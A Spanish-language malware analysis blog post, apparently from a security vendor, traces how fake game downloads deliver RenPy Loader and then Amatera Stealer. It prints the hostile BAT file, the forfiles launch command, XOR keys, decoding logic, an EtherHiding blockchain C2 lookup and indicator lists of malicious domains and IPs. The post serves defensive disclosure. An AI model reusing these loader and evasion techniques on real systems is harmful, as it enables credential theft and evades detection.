Hemos detectado varias campañas que utilizan descargas falsas de juegos, mods, cracks y software para propagar RenPy Loader . Una vez instalado, el cargador inicia una compleja cadena de infección en varias etapas que abusa de MSBuild y la técnica EtherHiding antes de distribuir finalmente Amatera Stealer .
Amatera es un programa malicioso que roba información confidencial de un dispositivo infectado. Puede atacar contraseñas y otros datos almacenados en navegadores, monederos de criptomonedas, extensiones de navegador, aplicaciones de mensajería y archivos locales. Las credenciales y los datos de sesión robados también pueden permitir a los atacantes acceder a las cuentas en línea de la víctima.
La víctima puede ver lo que parece ser un instalador de juegos o software normal, mientras que el malware se ejecuta silenciosamente en segundo plano.
RenPy Loader, también conocido como RenEngine Loader, resulta particularmente interesante porque abusa de Ren'Py, un motor legítimo utilizado para crear novelas visuales, juegos narrativos y ficción interactiva. Al ocultar código malicioso dentro de software relacionado con los videojuegos, los atacantes pueden hacer que sus descargas parezcan más creíbles para quienes buscan juegos, modificaciones o software pirateado.
Anteriormente, hemos visto cómo los atacantes hacen un mal uso de herramientas de desarrollo legítimas y marcos de software emergentes, como Bun y Deno , para distribuir malware. RenPy Loader sigue el mismo patrón: los atacantes abusan de tecnología legítima para enmascarar la actividad maliciosa, complicar la cadena de infección y dificultar su detección.
También se ha observado que RenPy Loader distribuye otro malware, como HijackLoader y Lumma Stealer, lo que demuestra que la carga útil final puede variar entre campañas.
En este blog, analizamos una cadena de infección en la que Ren'Py descifra un archivo ZIP que contiene un archivo BAT y varios archivos de proyecto MSBuild. Estos archivos cargan un componente .NET infectado con un troyano, que a su vez decodifica otro componente malicioso.
Este componente malicioso utiliza una técnica llamada EtherHiding para localizar su servidor de comando y control (C2). En lugar de almacenar la dirección C2 directamente en el malware, los atacantes la ocultan en datos almacenados en una cadena de bloques pública. Posteriormente, el malware descarga las siguientes fases del ataque desde ese servidor, lo que dificulta la identificación e interrupción de la infraestructura de los atacantes.
Por último, examinamos las cargas útiles adicionales que, en última instancia, descifran y ejecutan Amatera Stealer.
Las descargas falsas infectan tu dispositivo.
La infección comienza cuando alguien descarga un supuesto juego, modificación, crack o programa informático. Encontramos archivos maliciosos distribuidos a través de:
- Sitios web maliciosos
- portales de descarga de juegos
- Varios servicios para compartir archivos, incluidos Wormhole, GoFile, Google Drive y MEGA.
Estas son algunas de las páginas detectadas que inician la cadena de infección:
En varios casos, al hacer clic en un enlace de descarga, el usuario era redirigido a otro sitio web de descarga falso. Estas páginas utilizaban diseños diferentes y nombres de servicio inventados, lo que hacía que las campañas parecieran menos repetitivas y dificultaba la identificación de la infraestructura maliciosa.
A continuación se muestran ejemplos de páginas de descarga falsas utilizadas para distribuir el archivo malicioso:
El usuario descarga un archivo que contiene un archivo llamado Setup.exeAl abrir este archivo se inicia la cadena de infección.


La víctima ve una pantalla de carga o instalación, pero en segundo plano se está ejecutando código malicioso.

Cómo mantenerse a salvo
Tomar algunas precauciones puede reducir el riesgo de descargar juegos o software maliciosos:
- Descarga juegos y software desde sitios web oficiales, tiendas de aplicaciones de confianza o plataformas de distribución reconocidas.
- Trate con precaución el software pirateado, las modificaciones no oficiales y las versiones gratuitas de juegos de pago.
- Ten cuidado si un enlace de descarga te redirige a través de varios sitios web o servicios de intercambio de archivos desconocidos.
- Compruebe el contenido de los archivos descargados antes de abrir archivos ejecutables como
Setup.exe. - Busque nombres de archivo inusuales, imágenes o archivos de texto que no tengan relación con el contenido descargado, y contenido que no coincida con lo que pretendía descargar.
- Utilice software antimalware en tiempo real como Malwarebytes .
- Mantén actualizados tu sistema operativo, navegador y software de seguridad.
Quienes están detrás de estas campañas crean constantemente nuevos sitios web y modifican sus páginas de descarga. Un instalador de aspecto profesional o un servicio de intercambio de archivos conocido no garantizan la seguridad de la descarga.
Análisis técnico del cargador RenPy
Ren'Py es un motor gratuito de código abierto para crear novelas visuales, juegos narrativos y ficción interactiva. Ren'Py permite la integración de scripts de Python, que los atacantes aprovechan para insertar código malicioso.
En este caso, encontramos código malicioso en los siguientes archivos y rutas:
|
Camino |
Descripción |
|---|---|
|
|
Clases anti-sandbox |
|
|
Cargador |
|
|
Configuración cifrada con XOR |
|
|
ZIP cifrado con XOR |
El cargador de primera etapa extraído de libwin32.rpa Realiza las siguientes operaciones:
- Lee la configuración
data/.GEgy lo descifra usando la decodificación Base64 y XOR con la clave.81034149cd6f48c8821340204f92766eEste archivo de configuración contiene la contraseña utilizada para extraer el archivo ZIP, junto con otros datos de configuración utilizados por el cargador. - Llamadas
sys_config.is_sandboxed()y sale si se detecta un entorno aislado (sandbox). - Descifrado XOR
data/j3lpTcg7kBRN.E3usando la claveA50YyY1para obtener el ZIP. - Extrae el contenido del archivo ZIP a una carpeta aleatoria en
%TEMP%/tmp-{5 digits}-{12 characters}y escribe un:Zone.Identifierflujo de datos alternativo (ADS) conZoneId=0para eliminar la Marca de la Web y eludir SmartScreen. También inserta un elemento aleatorio.REMcadena en el archivo BAT extraído. - Lanza la carga útil usando
forfiles.exe. - Envía la máquina MAC dirección y ID de campaña a un sitio web de seguimiento.


En este caso, el archivo BAT extraído se ejecutó utilizando el siguiente comando:
forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"
Contenido del archivo BAT:
@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal
El archivo BAT ejecutado realiza las siguientes operaciones:
- Se reinicia en una consola sin interfaz gráfica cuando es compatible:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
- Habilita las funciones de propiedad de MSBuild, lo que permite métodos adicionales como
AppDomain.CurrentDomain.Loadpara ser ejecutado:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
- Ejecuta
MSBuild.execonNancy.csprojcomo su archivo de proyecto. Durante la evaluación del proyecto, una función de propiedad MSBuild maliciosa decodifica en hexadecimal y carga de forma reflectiva la siguiente etapa de la DLL.
La DLL de Nancy infectada con troyanos y el código de bytes personalizado
Nancy.csproj importa los tres archivos extraídos Nancy.csproj.user, Internal.props, y Nancy.Compile.targetsLa DLL maliciosa está dividida en tres valores almacenados en estos archivos.

Nancy.csprojNancy.Compile.targets concatena los tres valores para decodificar hexadecimalmente la DLL y ejecutarla. DefaultEvaluator5 método que utiliza AppDomain.CurrentDomain.Load.CreateInstance.

DefaultEvaluator5Lo interesante es que Nancy.csproj Cumple dos funciones: es el proyecto MSBuild que se utiliza para ejecutar el cargador de primera etapa y, además, contiene la siguiente etapa decodificada por el cargador.
La DLL es una versión troyanizada de la biblioteca Nancy .NET y es un cargador .NET ofuscado con código malicioso implementado en el DefaultEvaluator5 clase. Parte de la funcionalidad de la DLL está implementada en código de bytes personalizado ejecutado por este método principal.

La DLL realiza las siguientes operaciones:
- Descifra cadenas de texto a partir de recursos mediante descifrado XOR de múltiples claves.
- Resuelve las API utilizando el hash de API y
GetDelegateForFunctionPointer. - Modifica la configuración de red, incluyendo la desactivación de la validación de certificados TLS y la configuración del proxy del sistema predeterminado.
- Realiza operaciones antiforenses.
- Lee el
_czzfvariable de entorno, que apunta a la anteriorNancy.csprojtoma el archivo, luego lo decodifica y lo ejecuta.
El principal DefaultEvaluator5 Este método recupera cadenas e interpreta el código de bytes contenido en los siguientes recursos:
Nancy.Runtime.mvlorimu: Contiene el código de bytes personalizado. El código de bytes es interpretado por_pvy_sroImplementa 23 códigos de operación que se utilizan para descifrar otras cadenas y cargar la DLL de la siguiente etapa.Nancy.Data.tcnlhxwyNancy.Resources.kxxodpContiene las cadenas cifradas y otros datos utilizados para el descifrado, incluidas las claves, las longitudes, los índices y la caja S.
Las cadenas se descifran utilizando el siguiente algoritmo:
out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]
La siguiente etapa de DLL, GollopDevest, se decodifica a partir del mismo Nancy.csproj archivo usando la siguiente lógica y cargado con AppDomain.Load:
for i, k in enumerate(marker_int):
if k < 256:
payload[i] = k
else:
payload[i] = marker_int[k-256]

Pack marcadoresOcultación de éter y robo de Amatera
La siguiente etapa extraída es una DLL llamada GollopDevest.dll, un descargador .NET que utiliza la técnica EtherHiding para obtener su servidor de comando y control (C2) y descargar la siguiente etapa.
El dominio C2 cifrado se obtiene mediante un JSON-RPC de Ethereum. eth_call solicitud a bsc-dataseed.binance.org:
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}
Es probable que este descargador de EtherHiding forme parte de una operación de malware como servicio (MaaS), ya que hemos detectado su distribución en otras campañas, incluidas las campañas de ClickFix.
A continuación, se descargan tres cargas útiles adicionales: dos DLL de .NET llamadas PavinWide (una DLL anti-análisis) y GollopDevest (una DLL de carga), y un PE de C++ llamado WPA.exe, que es una versión ofuscada de Amatera Stealer.
En este caso, estas cargas útiles se descargaron desde:
/assets/ExponeAboard.json/assets/MailersKogasin.json/assets/LanoseThrip.json
Las DLL de .NET están fuertemente ofuscadas mediante el aplanamiento del flujo de control y llamadas indirectas a través de calli/ldftn, cifrado de cadenas con varios algoritmos, código basura, código muerto y cadenas falsas como rutas URL.
El análisis de estas DLL aún está en curso y se explorará con más detalle en las próximas publicaciones del blog.
Indicadores de Compromiso (IOC)
Dominios
downpro[.]net– Sitio web de descargas falsasmacisofile[.]sbs– Sitio web de descargas falsasvisitmama[.]blog– Sitio web de descargas falsasvisitmama[.]guru– Sitio web de descargas falsasgetgamerfree[.]com– Sitio web de descargas falsasfullgames[.]digital– Sitio web de descargas falsasflingbase[.]net– Sitio web de descargas falsascitronemu[.]com– Sitio web de descargas falsasfilemodo[.]xyz– Infraestructura de distribuciónstorage06x[.]cfd– Infraestructura de distribuciónp03sil[.]cyou– Infraestructura de distribuciónwimsedas[.]xyz– Infraestructura de distribuciónagainstmor[.]store– Infraestructura de distribuciónhost03q[.]cfd– Infraestructura de distribucióncloud01y[.]cfd– Infraestructura de distribuciónstorage11x[.]cfd– Infraestructura de distribuciónstorage04x[.]cfd– Infraestructura de distribuciónhost82p[.]cfd– Infraestructura de distribucióncloud05y[.]cfd– Infraestructura de distribuciónanalyticstrack-pzh[.]click- Seguimiento de Sitio Weblogin.orbitalframework[.]cc– Amatera Stealer C2
Direcciones IP
144.124.251[.]171– Se utiliza para obtener cargas útiles adicionales195.63.140[.]33– Se utiliza para obtener cargas útiles adicionales78.40.196[.]252– Se utiliza para obtener cargas útiles adicionales
Hashes de archivos (MD5)
29203ca123d51b1b33505a0813d360df– Cargador de primera etapa (DLL troyanizada)810F257542018BE0FC62AF542D13D012– GollopDevest DLL (DLL de descarga)681DB529E402467A4B0567C82A350FC0– DLL PavinWride (DLL anti-análisis)2E116632248A7E1F8AA6BCA92D9C1C90– DLL de GollopDevest (DLL de cargador)F8453EFE408CE25B9484F872797E3D63– Carga útil final
“Uno de los mejores paquetes de ciberseguridad del planeta.”
Según CNET. Lee su reseña →






















